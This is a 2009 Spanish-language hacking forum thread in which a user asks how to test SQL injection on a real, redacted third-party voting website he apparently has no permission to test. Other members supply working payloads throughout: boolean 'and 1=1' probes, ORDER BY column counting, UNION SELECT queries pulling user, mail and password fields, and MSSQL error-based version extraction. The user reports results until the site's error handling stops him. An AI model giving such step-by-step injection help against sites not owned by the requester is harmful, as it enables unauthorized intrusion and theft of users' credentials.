Ayuda con idea para Inyeccion SQL

Iniciado por Skeletron, 29 Octubre 2009, 04:35 AM

0 Miembros y 1 Visitante están viendo este tema.

Skeletron

Hola GENTE..
Resulta que tengo una web donde se ejecuta una URL algo asi:
http://www.xxxxxxxx.com.ar/puntaje.asp?UsuarioID=5623

Esa URL muestra en un tablita, los datos de los PUNTAJES que tiene ese usuario.. La web es una web donde podes votar a los usuarios del 1 al 10 si la foto es linda o no (no es sexyono.. es parecida)

Resulta que la web tiene un XSS GIGANTEZCO TAMBIEN!!!.... donde puedo eter CUALQUIER CARACTER!!... (en otro valor.. de un mensaje)

La cuestion, es que seguramente esta haciendo un: SELECT XXXX FROM nombretabla Where ID='UsuarioID'
O no????
Bueno.. la idea es... que podria meterle de UsuarioID para probar si tengo la inyeccion SQL???
Alguna recomendacion?

WHK

hola, primero debes entender el lenguaje SQL y saber ejecutar querys, si no conoces eso entonces por mas respuestas que te pueda ir diciendo no servirá de mucho.

intenta con
puntaje.asp?UsuarioID=5623 and 1=1
puntaje.asp?UsuarioID=5623 and 1=2
puntaje.asp?UsuarioID=5623' and 1='1
puntaje.asp?UsuarioID=5623' and 1=1 --+

http://foro.elhacker.net/nivel_web/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.15.html

OzX

Hi Bro
Es posible que sea MSSQL, no significa que por ser asp tiene q ser mssql, pero en el "comun" de los casos asi es.

A input agregale lo siguiente
UsuarioID=5623

UsuarioID=5623+and+1=convert(int,@@version)--
o
UsuarioID=5623+'and+1=convert(int,@@version)--

Si te tira la version de mssql es vulerable claramente aunque¡
es posible que sea vulnz a blind.

de todas formas intentad poner una comillas y ve si te muestra algun error.
y si no prova como decia WHK con +and+1=0 y +and+1=1 .

Saludps¡

Skeletron

Cita de: WHK en 29 Octubre 2009, 04:41 AM
puntaje.asp?UsuarioID=5623 and 1=1
puntaje.asp?UsuarioID=5623 and 1=2
puntaje.asp?UsuarioID=5623' and 1='1
puntaje.asp?UsuarioID=5623' and 1=1 --+
La web es así:
El usuario X tiene X puntaje, y le han dado un total de X votos y tiene un Promedio de X

Con la 1º opcion, todos los datos aparecen perfectamente..
Con la 2º opcion, dice: El usuario tiene puntaje, y le han dado un total de votos y tiene un Promedio de (o sea... es como que no toma nada la base de datos... como si el SELECT devolviese NADA
Con  la 3º y 4º opcion, da error la pagina...
Me parece que hay inyeccion del modo de la 2º opcion.. o me equivoco?

WHK

entonces sigues...

puntaje.asp?UsuarioID=5623 order by 999
puntaje.asp?UsuarioID=5623 order by 1

y así y ves hasta que numero te da error.
supongamos que
puntaje.asp?UsuarioID=5623 order by 10 - no da error pero
puntaje.asp?UsuarioID=5623 order by 11 - si da error
entonces el número de columnas es 10 y haces
puntaje.asp?UsuarioID=-1 union select 1,2,3,4,5,6,7,8,9,10

y el numero que te muestre en pantalla a ese le das las funciones user() database() etc etc.

Esto es mysql, recuerda como dijo ozx si es mssql no te va a funcionar de la misma manera.

por ejemplo
puntaje.asp?UsuarioID=-1 union select 1,votos,user,mail,pass,6,7,8,9,10 from usuarios

OzX

mira
mejor hacer lo siguiente
asp?input=12'
agregale 1 sola comilla. y postea el resultado del error. por si te lanzo uno.

es recomendable no sacar el valor de los inputs.

el sql union en mssql es valor, pero es muxo mas facil generar errores por conversion. cast o convert.

Saludos¡

Skeletron

Problemas...
Id=838 ORDER BY 20 no da error.. y no da error hasta Id=838 ORDER BY 159...
pero el error que da, esta controlado... dirije a una www.xxx.com/xxx-xxxxx-error.asp donde da un aviso:
Error
No se pudo completar la operación:

Se produjo un error al intentar ejecutar la operación.

Lamentamos el inconveniente. A la brevedad será solucionado.

Aguarde unos instantes y, si desea volver a ejecutar la operación, haga click en el boton "Reintentar". Si el problema persiste haga click en el botón "Reiniciar".
Opciones de navegación



Lo mismo si pongo solamente la comilla despues de ID...

OzX

si te redireciona al poner una comilla
significa que tiene algo q no me acuerdo como se llama de IIS para controlar los errores.
no creo que puedas explotar nada.

Saludos¡